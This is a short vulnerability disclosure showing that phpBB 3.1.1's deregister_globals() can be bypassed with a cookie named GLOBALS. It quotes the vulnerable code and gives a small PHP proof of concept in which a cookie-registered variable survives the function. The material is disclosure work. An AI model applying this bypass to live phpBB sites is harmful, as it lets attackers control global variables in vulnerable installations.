phpBB 3.1.1 deregister_globals() Bypass

`When PHP's register_globals configuration directive set on, phpBB will call  
deregister_globals() function, all global variables registered by PHP will  
be destroyed. But deregister_globals() functions can be bypassed.  
  
```  
$input = array_merge(  
array_keys($_GET),  
array_keys($_POST),  
array_keys($_COOKIE),  
array_keys($_SERVER),  
array_keys($_SESSION),  
array_keys($_ENV),  
array_keys($_FILES)  
);  
  
foreach ($input as $varname)  
{  
if (isset($not_unset[$varname]))  
{  
if ($varname !== 'GLOBALS' || isset($_GET['GLOBALS']) ||  
isset($_POST['GLOBALS']) || isset($_SERVER['GLOBALS']) ||  
isset($_SESSION['GLOBALS']) || isset($_ENV['GLOBALS']) ||  
isset($_FILES['GLOBALS']))  
{  
exit;  
}  
else  
{  
$cookie = &$_COOKIE;  
while (isset($cookie['GLOBALS']))  
{  
if (!is_array($cookie['GLOBALS']))  
{  
break;  
}  
....  
}  
}  
unset($GLOBALS[$varname]);  
}  
```  
  
In the above code we see, when request $_COOKIE['GLOBALS'] = 1,  
$GLOBALS['GLOBALS'] will be destroyed by unset(). This means $GLOBALS array  
will be destroyed. This also means you will not be able to use  
$GLOBALS['key'] to access or control a global variable in all scopes  
throughout a script. Because the binding between the $GLOBALS array and the  
global symbol table has been broken. All global variables registered by PHP  
form $_COOKIE, $_SERVER, $_SESSION, $_ENV, and $_FILES arrays will be not  
unregistered.  
  
Proof of Concept  
  
```  
$_COOKIE['GLOBALS'] = 1;  
$_COOKIE['ryat'] = $ryat = 'ryat';  
  
deregister_globals();  
  
var_dump($GLOBALS);  
var_dump($ryat);  
  
$GLOBALS['ryat'] = 'hi';  
  
var_dump($GLOBALS);  
var_dump($ryat);  
```  
  
P.S. I had reported the issue to the phpBB developers, but they do not  
consider this a security issue.  
  
  
`